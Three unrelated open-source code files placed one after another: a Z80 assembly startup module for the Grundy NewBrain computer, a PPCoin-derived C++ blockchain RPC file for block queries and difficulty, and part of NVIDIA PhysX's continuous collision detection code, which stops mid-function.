; ; Grundy NewBrain startup code ; ; ; $Id: newbrain_crt0.asm,v 1.10 2015/01/21 07:05:00 stefano Exp $ ; MODULE newbrain_crt0 ;-------- ; Include zcc_opt.def to find out some info ;-------- INCLUDE "zcc_opt.def" ;-------- ; Some scope definitions ;-------- EXTERN _main ;main() is always external to crt0 code PUBLIC cleanup ;jp'd to by exit() PUBLIC l_dcal ;jp(hl) PUBLIC _std_seed ;Integer rand() seed PUBLIC _vfprintf ;jp to the printf() core PUBLIC exitsp ;atexit() variables PUBLIC exitcount PUBLIC heaplast ;Near malloc heap variables PUBLIC heapblocks PUBLIC __sgoioblk ;stdio info block PUBLIC base_graphics ;Graphical variables PUBLIC coords ;Current xy position PUBLIC snd_tick ;Sound variable PUBLIC bit_irqstatus ; current irq status when DI is necessary PUBLIC nbclockptr ;ptr to clock counter location IF (startup=2) PUBLIC oldintaddr ;made available to chain an interrupt handler ENDIF IF !myzorg defc myzorg = 10000 ENDIF org myzorg start: ld (start1+1),sp ;Save entry stack ld hl,-64 ;Create the atexit stack add hl,sp ld sp,hl ld (exitsp),sp ; Optional definition for auto MALLOC init ; it assumes we have free space between the end of ; the compiled program and the stack pointer IF DEFINED_USING_amalloc INCLUDE "amalloc.def" ENDIF IF (startup=2) ld hl,(57) ld (oldintaddr),hl ld hl,nbckcount ld (57),hl ENDIF IF !DEFINED_nostreams IF DEFINED_ANSIstdio ; Set up the std* stuff so we can be called again ld hl,__sgoioblk+2 ld (hl),19 ;stdin ld hl,__sgoioblk+6 ld (hl),21 ;stdout ld hl,__sgoioblk+10 ld (hl),21 ;stderr ENDIF ENDIF call _main ;Call user program cleanup: ; ; Deallocate memory which has been allocated here! ; IF !DEFINED_nostreams IF DEFINED_ANSIstdio EXTERN closeall call closeall ENDIF ENDIF IF (startup=2) ld hl,(oldintaddr) ld (57),hl ENDIF cleanup_exit: start1: ld sp,0 ;Restore stack to entry value ret l_dcal: jp (hl) ;Used for function pointer calls ;----------- ; Define the stdin/out/err area. For the z88 we have two models - the ; classic (kludgey) one and "ANSI" model ;----------- __sgoioblk: IF DEFINED_ANSIstdio INCLUDE "stdio_fp.asm" ELSE defw -11,-12,-10 ENDIF ;--------------------------------- ; Select which printf core we want ;--------------------------------- _vfprintf: IF DEFINED_floatstdio EXTERN vfprintf_fp jp vfprintf_fp ELSE IF DEFINED_complexstdio EXTERN vfprintf_comp jp vfprintf_comp ELSE IF DEFINED_ministdio EXTERN vfprintf_mini jp vfprintf_mini ENDIF ENDIF ENDIF ;----------- ; Grundy NewBrain clock handler. ; an interrupt handler could chain the "oldintaddr" value. ;----------- IF (startup=2) nbclockptr: defw $52 ; ROM routine ; Useless custom clock counter (we have the ROM one). ; ;.nbclockptr defw nbclock ; nbckcount: ; push af ; push hl ; ld hl,(nbclock) ; inc hl ; ld (nbclock),hl ; ld a,h ; or l ; jr nz,nomsb ; ld hl,(nbclock_m) ; inc hl ; ld (nbclock_m),hl ;nomsb: pop hl ; pop af defb 195 ; JP oldintaddr: defw 0 nbclock: defw 0 ; NewBrain Clock nbclock_m: defw 0 ELSE nbclockptr: defb $52 ; paged system clock counter ENDIF ;----------- ; Now some variables ;----------- coords: defw 0 ; Current graphics xy coordinates base_graphics: defw 0 ; Address of the Graphics map _std_seed: defw 0 ; Seed for integer rand() routines exitsp: defw 0 ; Address of where the atexit() stack is exitcount: defb 0 ; How many routines on the atexit() stack heaplast: defw 0 ; Address of last block on heap heapblocks: defw 0 ; Number of blocks IF DEFINED_USING_amalloc EXTERN ASMTAIL PUBLIC _heap ; The heap pointer will be wiped at startup, ; but first its value (based on ASMTAIL) ; will be kept for sbrk() to setup the malloc area _heap: defw ASMTAIL ; Location of the last program byte defw 0 ENDIF IF DEFINED_NEED1bitsound snd_tick: defb 0 ; Sound variable bit_irqstatus: defw 0 ENDIF defm "Small C+ NewBrain" ;Unnecessary file signature defb 0 ;----------------------- ; Floating point support ;----------------------- IF NEED_floatpack INCLUDE "float.asm" fp_seed: defb $80,$80,0,0,0,0 ;FP seed (unused ATM) extra: defs 6 ;FP register fa: defs 6 ;FP Accumulator fasign: defb 0 ;FP register ENDIF
// Copyright (c) 2010 Satoshi Nakamoto // Copyright (c) 2009-2012 The Bitcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "rpcserver.h" #include "main.h" #include "kernel.h" #include "checkpoints.h" #include "util.h" using namespace json_spirit; using namespace std; extern void TxToJSON(const CTransaction& tx, const uint256 hashBlock, json_spirit::Object& entry); double GetDifficulty(const CBlockIndex* blockindex) { // Floating point number that is a multiple of the minimum difficulty, // minimum difficulty = 1.0. if (blockindex == NULL) { if (pindexBest == NULL) return 1.0; else blockindex = GetLastBlockIndex(pindexBest, false); } int nShift = (blockindex->nBits >> 24) & 0xff; double dDiff = (double)0x0000ffff / (double)(blockindex->nBits & 0x00ffffff); while (nShift < 29) { dDiff *= 256.0; nShift++; } while (nShift > 29) { dDiff /= 256.0; nShift--; } return dDiff; } double GetPoWMHashPS() { if (pindexBest->nHeight >= Params().LastPOWBlock()) return 0; int nPoWInterval = 72; int64_t nTargetSpacingWorkMin = 30, nTargetSpacingWork = 30; CBlockIndex* pindex = pindexGenesisBlock; CBlockIndex* pindexPrevWork = pindexGenesisBlock; while (pindex) { if (pindex->IsProofOfWork()) { int64_t nActualSpacingWork = pindex->GetBlockTime() - pindexPrevWork->GetBlockTime(); nTargetSpacingWork = ((nPoWInterval - 1) * nTargetSpacingWork + nActualSpacingWork + nActualSpacingWork) / (nPoWInterval + 1); nTargetSpacingWork = max(nTargetSpacingWork, nTargetSpacingWorkMin); pindexPrevWork = pindex; } pindex = pindex->pnext; } return GetDifficulty() * 4294.967296 / nTargetSpacingWork; } double GetPoSKernelPS() { int nPoSInterval = 72; double dStakeKernelsTriedAvg = 0; int nStakesHandled = 0, nStakesTime = 0; CBlockIndex* pindex = pindexBest;; CBlockIndex* pindexPrevStake = NULL; while (pindex && nStakesHandled < nPoSInterval) { if (pindex->IsProofOfStake()) { if (pindexPrevStake) { dStakeKernelsTriedAvg += GetDifficulty(pindexPrevStake) * 4294967296.0; nStakesTime += pindexPrevStake->nTime - pindex->nTime; nStakesHandled++; } pindexPrevStake = pindex; } pindex = pindex->pprev; } double result = 0; if (nStakesTime) result = dStakeKernelsTriedAvg / nStakesTime; result *= STAKE_TIMESTAMP_MASK + 1; return result; } Object blockToJSON(const CBlock& block, const CBlockIndex* blockindex, bool fPrintTransactionDetail) { Object result; result.push_back(Pair("hash", block.GetHash().GetHex())); int confirmations = -1; // Only report confirmations if the block is on the main chain if (blockindex->IsInMainChain()) confirmations = nBestHeight - blockindex->nHeight + 1; result.push_back(Pair("confirmations", confirmations)); result.push_back(Pair("size", (int)::GetSerializeSize(block, SER_NETWORK, PROTOCOL_VERSION))); result.push_back(Pair("height", blockindex->nHeight)); result.push_back(Pair("version", block.nVersion)); result.push_back(Pair("merkleroot", block.hashMerkleRoot.GetHex())); #ifndef LOWMEM result.push_back(Pair("mint", ValueFromAmount(blockindex->nMint))); #endif result.push_back(Pair("moneysupply", ValueFromAmount(blockindex->nMoneySupply))); result.push_back(Pair("time", (int64_t)block.GetBlockTime())); result.push_back(Pair("nonce", (uint64_t)block.nNonce)); result.push_back(Pair("bits", strprintf("%08x", block.nBits))); result.push_back(Pair("difficulty", GetDifficulty(blockindex))); result.push_back(Pair("blocktrust", leftTrim(blockindex->GetBlockTrust().GetHex(), '0'))); result.push_back(Pair("chaintrust", leftTrim(blockindex->nChainTrust.GetHex(), '0'))); if (blockindex->pprev) result.push_back(Pair("previousblockhash", blockindex->pprev->GetBlockHash().GetHex())); if (blockindex->pnext) result.push_back(Pair("nextblockhash", blockindex->pnext->GetBlockHash().GetHex())); result.push_back(Pair("flags", strprintf("%s%s", blockindex->IsProofOfStake()? "proof-of-stake" : "proof-of-work", blockindex->GeneratedStakeModifier()? " stake-modifier": ""))); result.push_back(Pair("proofhash", blockindex->hashProof.GetHex())); result.push_back(Pair("entropybit", (int)blockindex->GetStakeEntropyBit())); result.push_back(Pair("modifier", strprintf("%016x", blockindex->nStakeModifier))); Array txinfo; BOOST_FOREACH (const CTransaction& tx, block.vtx) { if (fPrintTransactionDetail) { Object entry; entry.push_back(Pair("txid", tx.GetHash().GetHex())); TxToJSON(tx, 0, entry); txinfo.push_back(entry); } else txinfo.push_back(tx.GetHash().GetHex()); } result.push_back(Pair("tx", txinfo)); if (block.IsProofOfStake()) result.push_back(Pair("signature", HexStr(block.vchBlockSig.begin(), block.vchBlockSig.end()))); return result; } Value getbestblockhash(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getbestblockhash\n" "Returns the hash of the best block in the longest block chain."); LOCK(cs_main); return hashBestChain.GetHex(); } Value getblockcount(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getblockcount\n" "Returns the number of blocks in the longest block chain."); LOCK(cs_main); return nBestHeight; } Value getdifficulty(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getdifficulty\n" "Returns the difficulty as a multiple of the minimum difficulty."); //Object obj; //obj.push_back(Pair("proof-of-work", GetDifficulty())); //obj.push_back(Pair("proof-of-stake", GetDifficulty(GetLastBlockIndex(pindexBest, true)))); LOCK(cs_main); return GetDifficulty(GetLastBlockIndex(pindexBest, true)); } Value getrawmempool(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getrawmempool\n" "Returns all transaction ids in memory pool."); LOCK(cs_main); vector<uint256> vtxid; mempool.queryHashes(vtxid); Array a; BOOST_FOREACH(const uint256& hash, vtxid) a.push_back(hash.ToString()); return a; } Value getblockhash(const Array& params, bool fHelp) { if (fHelp || params.size() != 1) throw runtime_error( "getblockhash <index>\n" "Returns hash of block in best-block-chain at <index>."); LOCK(cs_main); int nHeight = params[0].get_int(); if (nHeight < 0 || nHeight > nBestHeight) throw runtime_error("Block number out of range."); CBlockIndex* pblockindex = FindBlockByHeight(nHeight); return pblockindex->phashBlock->GetHex(); } Value getblock(const Array& params, bool fHelp) { if (fHelp || params.size() < 1 || params.size() > 2) throw runtime_error( "getblock <hash> [txinfo]\n" "txinfo optional to print more detailed tx info\n" "Returns details of a block with given block-hash."); LOCK(cs_main); std::string strHash = params[0].get_str(); uint256 hash(strHash); if (mapBlockIndex.count(hash) == 0) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Block not found"); CBlock block; CBlockIndex* pblockindex = mapBlockIndex[hash]; block.ReadFromDisk(pblockindex, true); return blockToJSON(block, pblockindex, params.size() > 1 ? params[1].get_bool() : false); } Value getblockbynumber(const Array& params, bool fHelp) { if (fHelp || params.size() < 1 || params.size() > 2) throw runtime_error( "getblockbynumber <number> [txinfo]\n" "txinfo optional to print more detailed tx info\n" "Returns details of a block with given block-number."); int nHeight = params[0].get_int(); if (nHeight < 0 || nHeight > nBestHeight) throw runtime_error("Block number out of range."); CBlock block; CBlockIndex* pblockindex = mapBlockIndex[hashBestChain]; while (pblockindex->nHeight > nHeight) pblockindex = pblockindex->pprev; uint256 hash = *pblockindex->phashBlock; pblockindex = mapBlockIndex[hash]; block.ReadFromDisk(pblockindex, true); return blockToJSON(block, pblockindex, params.size() > 1 ? params[1].get_bool() : false); } // ppcoin: get information of sync-checkpoint Value getcheckpoint(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getcheckpoint\n" "Show info of synchronized checkpoint.\n"); Object result; const CBlockIndex* pindexCheckpoint = Checkpoints::AutoSelectSyncCheckpoint(); result.push_back(Pair("synccheckpoint", pindexCheckpoint->GetBlockHash().ToString().c_str())); result.push_back(Pair("height", pindexCheckpoint->nHeight)); result.push_back(Pair("timestamp", DateTimeStrFormat(pindexCheckpoint->GetBlockTime()).c_str())); result.push_back(Pair("policy", "rolling")); return result; }
// // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the name of NVIDIA CORPORATION nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ''AS IS'' AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY // OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Copyright (c) 2008-2021 NVIDIA Corporation. All rights reserved. // Copyright (c) 2004-2008 AGEIA Technologies, Inc. All rights reserved. // Copyright (c) 2001-2004 NovodeX AG. All rights reserved. #include "common/PxProfileZone.h" #include "geomutils/GuContactPoint.h" #include "PxsContactManager.h" #include "PxsContext.h" #include "PxsRigidBody.h" #include "PxsMaterialManager.h" #include "PxsCCD.h" #include "PxsMaterialManager.h" #include "PxsMaterialCombiner.h" #include "PxcContactMethodImpl.h" #include "PxcMaterialMethodImpl.h" #include "PxcNpContactPrepShared.h" #include "PxvGeometry.h" #include "PxvGlobals.h" #include "PsSort.h" #include "PsAtomic.h" #include "PsUtilities.h" #include "CmFlushPool.h" #include "DyThresholdTable.h" #include "GuCCDSweepConvexMesh.h" #include "GuBounds.h" #if DEBUG_RENDER_CCD #include "CmRenderOutput.h" #include "CmRenderBuffer.h" #include "PxPhysics.h" #include "PxScene.h" #endif #define DEBUG_RENDER_CCD_FIRST_PASS_ONLY 1 #define DEBUG_RENDER_CCD_ATOM_PTR 0 #define DEBUG_RENDER_CCD_NORMAL 1 using namespace physx; using namespace physx::shdfnd; using namespace physx::Dy; using namespace Gu; static PX_FORCE_INLINE void verifyCCDPair(const PxsCCDPair& /*pair*/) { #if 0 if (pair.mBa0) pair.mBa0->getPose(); if (pair.mBa1) pair.mBa1->getPose(); #endif } #if CCD_DEBUG_PRINTS // PT: this is copied from PxsRigidBody.h and will need to be adapted if we ever need it again // AP newccd todo: merge into get both velocities, compute inverse transform once, precompute mLastTransform.getInverse() PX_FORCE_INLINE PxVec3 getLinearMotionVelocity(PxReal invDt) const { // delta(t0(x))=t1(x) // delta(t0(t0`(x)))=t1(t0`(x)) // delta(x)=t1(t0`(x)) const PxVec3 deltaP = mCore->body2World.p - getLastCCDTransform().p; return deltaP * invDt; } PX_FORCE_INLINE PxVec3 getAngularMotionVelocity(PxReal invDt) const { const PxQuat deltaQ = mCore->body2World.q * getLastCCDTransform().q.getConjugate(); PxVec3 axis; PxReal angle; deltaQ.toRadiansAndUnitAxis(angle, axis); return axis * angle * invDt; } PX_FORCE_INLINE PxVec3 getLinearMotionVelocity(PxReal dt, const PxsBodyCore* PX_RESTRICT bodyCore) const { // delta(t0(x))=t1(x) // delta(t0(t0`(x)))=t1(t0`(x)) // delta(x)=t1(t0`(x)) const PxVec3 deltaP = bodyCore->body2World.p - getLastCCDTransform().p; return deltaP * 1.0f / dt; } PX_FORCE_INLINE PxVec3 getAngularMotionVelocity(PxReal dt, const PxsBodyCore* PX_RESTRICT bodyCore) const { const PxQuat deltaQ = bodyCore->body2World.q * getLastCCDTransform().q.getConjugate(); PxVec3 axis; PxReal angle; deltaQ.toRadiansAndUnitAxis(angle, axis); return axis * angle * 1.0f/dt; } #include <stdio.h> #pragma warning(disable: 4313) namespace physx { static const char* gGeomTypes[PxGeometryType::eGEOMETRY_COUNT+1] = { "sphere", "plane", "capsule", "box", "convex", "trimesh", "heightfield", "*" }; FILE* gCCDLog = NULL; static inline void openCCDLog() { if (gCCDLog) { fclose(gCCDLog); gCCDLog = NULL; } gCCDLog = fopen("c:\\ccd.txt", "wt"); fprintf(gCCDLog, ">>>>>>>>>>>>>>>>>>>>>>>>>>> CCD START FRAME <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n"); } static inline void printSeparator( const char* prefix, PxU32 pass, PxsRigidBody* atom0, PxGeometryType::Enum g0, PxsRigidBody* atom1, PxGeometryType::Enum g1) { fprintf(gCCDLog, "------- %s pass %d (%s %x) vs (%s %x)\n", prefix, pass, gGeomTypes[g0], atom0, gGeomTypes[g1], atom1); fflush(gCCDLog); } static inline void printCCDToi( const char* header, PxF32 t, const PxVec3& v, PxsRigidBody* atom0, PxGeometryType::Enum g0, PxsRigidBody* atom1, PxGeometryType::Enum g1 ) { fprintf(gCCDLog, "%s (%s %x vs %s %x): %.5f, (%.2f, %.2f, %.2f)\n", header, gGeomTypes[g0], atom0, gGeomTypes[g1], atom1, t, v.x, v.y, v.z); fflush(gCCDLog); } static inline void printCCDPair(const char* header, PxsCCDPair& pair) { printCCDToi(header, pair.mMinToi, pair.mMinToiNormal, pair.mBa0, pair.mG0, pair.mBa1, pair.mG1); } // also used in PxcSweepConvexMesh.cpp void printCCDDebug(const char* msg, const PxsRigidBody* atom0, PxGeometryType::Enum g0, bool printPtr) { fprintf(gCCDLog, " %s (%s %x)\n", msg, gGeomTypes[g0], printPtr ? atom0 : 0); fflush(gCCDLog); } // also used in PxcSweepConvexMesh.cpp void printShape( PxsRigidBody* atom0, PxGeometryType::Enum g0, const char* annotation, PxReal dt, PxU32 pass, bool printPtr) { PX_UNUSED(pass); // PT: I'm leaving this here but I doubt it works. The code passes "dt" to a function that wants "invDt".... fprintf(gCCDLog, "%s (%s %x) atom=(%.2f, %.2f, %.2f)>(%.2f, %.2f, %.2f) v=(%.1f, %.1f, %.1f), mv=(%.1f, %.1f, %.1f)\n", annotation, gGeomTypes[g0], printPtr ? atom0 : 0, atom0->getLastCCDTransform().p.x, atom0->getLastCCDTransform().p.y, atom0->getLastCCDTransform().p.z, atom0->getPose().p.x, atom0->getPose().p.y, atom0->getPose().p.z, atom0->getLinearVelocity().x, atom0->getLinearVelocity().y, atom0->getLinearVelocity().z, atom0->getLinearMotionVelocity(dt).x, atom0->getLinearMotionVelocity(dt).y, atom0->getLinearMotionVelocity(dt).z ); fflush(gCCDLog); #if DEBUG_RENDER_CCD && DEBUG_RENDER_CCD_ATOM_PTR if (!DEBUG_RENDER_CCD_FIRST_PASS_ONLY || pass == 0) { PxScene *s; PxGetPhysics()->getScenes(&s, 1, 0); Cm::RenderOutput((Cm::RenderBuffer&)s->getRenderBuffer()) << Cm::DebugText(atom0->getPose().p, 0.05f, "%x", atom0); } #endif } static inline void flushCCDLog() { fflush(gCCDLog); } } // namespace physx #else namespace physx { void printShape(PxsRigidBody* /*atom0*/, PxGeometryType::Enum /*g0*/, const char* /*annotation*/, PxReal /*dt*/, PxU32 /*pass*/, bool printPtr = true) {PX_UNUSED(printPtr);} static inline void openCCDLog() {} static inline void flushCCDLog() {} void printCCDDebug(const char* /*msg*/, const PxsRigidBody* /*atom0*/, PxGeometryType::Enum /*g0*/, bool printPtr = true) {PX_UNUSED(printPtr);} static inline void printSeparator( const char* /*prefix*/, PxU32 /*pass*/, PxsRigidBody* /*atom0*/, PxGeometryType::Enum /*g0*/, PxsRigidBody* /*atom1*/, PxGeometryType::Enum /*g1*/) {} } // namespace physx #endif namespace { // PT: TODO: refactor with ShapeSim version (SIMD) PX_INLINE PxTransform getShapeAbsPose(const PxsShapeCore* shapeCore, const PxsRigidCore* rigidCore, PxU32 isDynamic) { if(isDynamic) { const PxsBodyCore* PX_RESTRICT bodyCore = static_cast<const PxsBodyCore*>(rigidCore); return bodyCore->body2World * bodyCore->getBody2Actor().getInverse() *shapeCore->transform; } else { return rigidCore->body2World * shapeCore->transform; } } } namespace physx { PxsCCDContext::PxsCCDContext(PxsContext* context, Dy::ThresholdStream& thresholdStream, PxvNphaseImplementationContext& nPhaseContext, PxReal ccdThreshold) : mPostCCDSweepTask (context->getContextId(), this, "PxsContext.postCCDSweep"), mPostCCDAdvanceTask (context->getContextId(), this, "PxsContext.postCCDAdvance"), mPostCCDDepenetrateTask (context->getContextId(), this, "PxsContext.postCCDDepenetrate"), mDisableCCDResweep (false), miCCDPass (0), mSweepTotalHits (0), mCCDThreadContext (NULL), mCCDPairsPerBatch (0), mCCDMaxPasses (1), mContext (context), mThresholdStream (thresholdStream), mNphaseContext (nPhaseContext), mCCDThreshold (ccdThreshold) { } PxsCCDContext::~PxsCCDContext() { } PxsCCDContext* PxsCCDContext::create(PxsContext* context, Dy::ThresholdStream& thresholdStream, PxvNphaseImplementationContext& nPhaseContext, PxReal ccdThreshold) { PxsCCDContext* dc = reinterpret_cast<PxsCCDContext*>( PX_ALLOC(sizeof(PxsCCDContext), "PxsCCDContext")); if(dc) { new(dc) PxsCCDContext(context, thresholdStream, nPhaseContext, ccdThreshold); } return dc; } void PxsCCDContext::destroy() { this->~PxsCCDContext(); PX_FREE(this); } PxTransform PxsCCDShape::getAbsPose(const PxsRigidBody* atom) const { // PT: TODO: refactor with ShapeSim version (SIMD) - or with redundant getShapeAbsPose() above in this same file! if(atom) return atom->getPose() * atom->getCore().getBody2Actor().getInverse() * mShapeCore->transform; else return mRigidCore->body2World * mShapeCore->transform; } PxTransform PxsCCDShape::getLastCCDAbsPose(const PxsRigidBody* atom) const { // PT: TODO: refactor with ShapeSim version (SIMD) return atom->getLastCCDTransform() * atom->getCore().getBody2Actor().getInverse() * mShapeCore->transform; } PxReal PxsCCDPair::sweepFindToi(PxcNpThreadContext& context, PxReal dt, PxU32 pass, PxReal ccdThreshold) { printSeparator("findToi", pass, mBa0, mG0, NULL, PxGeometryType::eGEOMETRY_COUNT); //Update shape transforms if necessary updateShapes(); //Extract the bodies PxsRigidBody* atom0 = mBa0; PxsRigidBody* atom1 = mBa1; PxsCCDShape* ccdShape0 = mCCDShape0; PxsCCDShape* ccdShape1 = mCCDShape1; PxGeometryType::Enum g0 = mG0, g1 = mG1; //If necessary, flip the bodies to make sure that g0 <= g1 if(mG1 < mG0) { g0 = mG1; g1 = mG0; ccdShape0 = mCCDShape1; ccdShape1 = mCCDShape0; atom0 = mBa1; atom1 = mBa0; } PX_ALIGN(16, PxTransform tm0); PX_ALIGN(16, PxTransform tm1); PX_ALIGN(16, PxTransform lastTm0); PX_ALIGN(16, PxTransform lastTm1); tm0 = ccdShape0->mCurrentTransform; lastTm0 = ccdShape0->mPrevTransform; tm1 = ccdShape1->mCurrentTransform; lastTm1 = ccdShape1->mPrevTransform; const PxVec3 trA = tm0.p - lastTm0.p; const PxVec3 trB = tm1.p - lastTm1.p; const PxVec3 relTr = trA - trB; // Do the sweep PxVec3 sweepNormal(0.0f); PxVec3 sweepPoint(0.0f); PxReal restDistance = PxMax(mCm->getWorkUnit().restDistance, 0.f); context.mDt = dt; context.mCCDFaceIndex = PXC_CONTACT_NO_FACE_INDEX; //Cull the sweep hit based on the relative velocity along the normal const PxReal fastMovingThresh0 = ccdShape0->mFastMovingThreshold; const PxReal fastMovingThresh1 = ccdShape1->mFastMovingThreshold; const PxReal sumFastMovingThresh = PxMin(fastMovingThresh0 + fastMovingThresh1, ccdThreshold); PxReal toi = Gu::SweepShapeShape(*ccdShape0, *ccdShape1, tm0, tm1, lastTm0, lastTm1, restDistance, sweepNormal, sweepPoint, mMinToi, context.mCCDFaceIndex, sumFastMovingThresh); //If toi is after the end of TOI, return no hit if (toi >= 1.0f) { mToiType = PxsCCDPair::ePrecise; mPenetration = 0.f; mPenetrationPostStep = 0.f; mMinToi = PX_MAX_REAL; // needs to be reset in case of resweep return toi; } PX_ASSERT(PxIsFinite(toi)); PX_ASSERT(sweepNormal.isFinite()); mFaceIndex = context.mCCDFaceIndex; //Work out linear motion (used to cull the sweep hit) const PxReal linearMotion = relTr.dot(-sweepNormal); //If we swapped the shapes, swap them back if(mG1 >= mG0) sweepNormal = -sweepNormal; mToiType = PxsCCDPair::ePrecise; PxReal penetration = 0.f; PxReal penetrationPostStep = 0.f; //If linear motion along normal < the CCD threshold, set toi to no-hit. if((linearMotion) < sumFastMovingThresh) { mMinToi = PX_MAX_REAL; // needs to be reset in case of resweep return PX_MAX_REAL; } else if(toi <= 0.f) { //If the toi <= 0.f, this implies an initial overlap. If the value < 0.f, it implies penetration PxReal stepRatio0 = atom0 ? atom0->mCCD->mTimeLeft : 1.f; PxReal stepRatio1 = atom1 ? atom1->mCCD->mTimeLeft : 1.f; PxReal stepRatio = PxMin(stepRatio0, stepRatio1); penetration = -toi; toi = 0.f; if(stepRatio == 1.f) { //If stepRatio == 1.f (i.e. neither body has stepped forwards any time at all) //we extract the advance coefficients from the bodies and permit the bodies to step forwards a small amount //to ensure that they won't remain jammed because TOI = 0.0 const PxReal advance0 = atom0 ? atom0->mCore->ccdAdvanceCoefficient : 1.f; const PxReal advance1 = atom1 ? atom1->mCore->ccdAdvanceCoefficient : 1.f; const PxReal advance = PxMin(advance0, advance1); PxReal fastMoving = PxMin(fastMovingThresh0, atom1 ? fastMovingThresh1 : PX_MAX_REAL); PxReal advanceCoeff = advance * fastMoving; penetrationPostStep = advanceCoeff/linearMotion; } PX_ASSERT(PxIsFinite(toi)); } //Store TOI, penetration and post-step (how much to step forward in initial overlap conditions) mMinToi = toi; mPenetration = penetration; mPenetrationPostStep = penetrationPostStep; mMinToiPoint = sweepPoint; mMinToiNormal = sweepNormal; //Work out the materials for the contact (restitution, friction etc.) context.mContactBuffer.count = 0; context.mContactBuffer.contact(mMinToiPoint, mMinToiNormal, 0.f, g1 == PxGeometryType::eTRIANGLEMESH || g1 == PxGeometryType::eHEIGHTFIELD? mFaceIndex : PXC_CONTACT_NO_FACE_INDEX); PxsMaterialInfo materialInfo; g_GetSingleMaterialMethodTable[g0](ccdShape0->mShapeCore, 0, context, &materialInfo); g_GetSingleMaterialMethodTable[g1](ccdShape1->mShapeCore, 1, context, &materialInfo); const PxsMaterialData& data0 = *context.mMaterialManager->getMaterial(materialInfo.mMaterialIndex0); const PxsMaterialData& data1 = *context.mMaterialManager->getMaterial(materialInfo.mMaterialIndex1); const PxReal restitution = PxsMaterialCombiner::combineRestitution(data0, data1); PxsMaterialCombiner combiner(1.0f, 1.0f); PxsMaterialCombiner::PxsCombinedMaterial combinedMat = combiner.combineIsotropicFriction(data0, data1); const PxReal sFriction = combinedMat.staFriction; const PxReal dFriction = combinedMat.dynFriction; mMaterialIndex0 = materialInfo.mMaterialIndex0; mMaterialIndex1 = materialInfo.mMaterialIndex1; mDynamicFriction = dFriction; mStaticFriction = sFriction; mRestitution = restitution; return toi; } void PxsCCDPair::updateShapes() { if(mBa0) { //If the CCD shape's update count doesn't match the body's update count, this shape needs its transforms and bounds re-calculated if(mBa0->mCCD->mUpdateCount != mCCDShape0->mUpdateCount) { const PxTransform tm0 = mCCDShape0->getAbsPose(mBa0); const PxTransform lastTm0 = mCCDShape0->getLastCCDAbsPose(mBa0); const PxVec3 trA = tm0.p - lastTm0.p; Gu::Vec3p origin, extents; Gu::computeBoundsWithCCDThreshold(origin, extents, mCCDShape0->mShapeCore->geometry.getGeometry(), tm0, NULL); mCCDShape0->mCenter = origin - trA; mCCDShape0->mExtents = extents; mCCDShape0->mPrevTransform = lastTm0; mCCDShape0->mCurrentTransform = tm0; mCCDShape0->mUpdateCount = mBa0->mCCD->mUpdateCount; } } if(mBa1) { //If the CCD shape's update count doesn't match the body's update count, this shape needs its transforms and bounds re-calculated if(mBa1->mCCD->mUpdateCount != mCCDShape1->mUpdateCount) { const PxTransform tm1 = mCCDShape1->getAbsPose(mBa1); const PxTransform lastTm1 = mCCDShape1->getLastCCDAbsPose(mBa1); const PxVec3 trB = tm1.p - lastTm1.p; Vec3p origin, extents; computeBoundsWithCCDThreshold(origin, extents, mCCDShape1->mShapeCore->geometry.getGeometry(), tm1, NULL); mCCDShape1->mCenter = origin - trB; mCCDShape1->mExtents = extents; mCCDShape1->mPrevTransform = lastTm1; mCCDShape1->mCurrentTransform = tm1; mCCDShape1->mUpdateCount = mBa1->mCCD->mUpdateCount; } } } PxReal PxsCCDPair::sweepEstimateToi(PxReal ccdThreshold) { //Update shape transforms if necessary updateShapes(); //PxsRigidBody* atom1 = mBa1; //PxsRigidBody* atom0 = mBa0; PxsCCDShape* ccdShape0 = mCCDShape0; PxsCCDShape* ccdShape1 = mCCDShape1; PxGeometryType::Enum g0 = mG0, g1 = mG1; PX_UNUSED(g0); //Flip shapes if necessary if(mG1 < mG0) { g0 = mG1; g1 = mG0; /*atom0 = mBa1; atom1 = mBa0;*/ ccdShape0 = mCCDShape1; ccdShape1 = mCCDShape0; } //Extract previous/current transforms, translations etc. PxTransform tm0, lastTm0, tm1, lastTm1; PxVec3 trA(0.f); PxVec3 trB(0.f); tm0 = ccdShape0->mCurrentTransform; lastTm0 = ccdShape0->mPrevTransform; trA = tm0.p - lastTm0.p; tm1 = ccdShape1->mCurrentTransform; lastTm1 = ccdShape1->mPrevTransform; trB = tm1.p - lastTm1.p; PxReal restDistance = PxMax(mCm->getWorkUnit().restDistance, 0.f); const PxVec3 relTr = trA - trB; //Work out the sum of the fast moving thresholds scaled by the step ratio const PxReal fastMovingThresh0 = ccdShape0->mFastMovingThreshold; const PxReal fastMovingThresh1 = 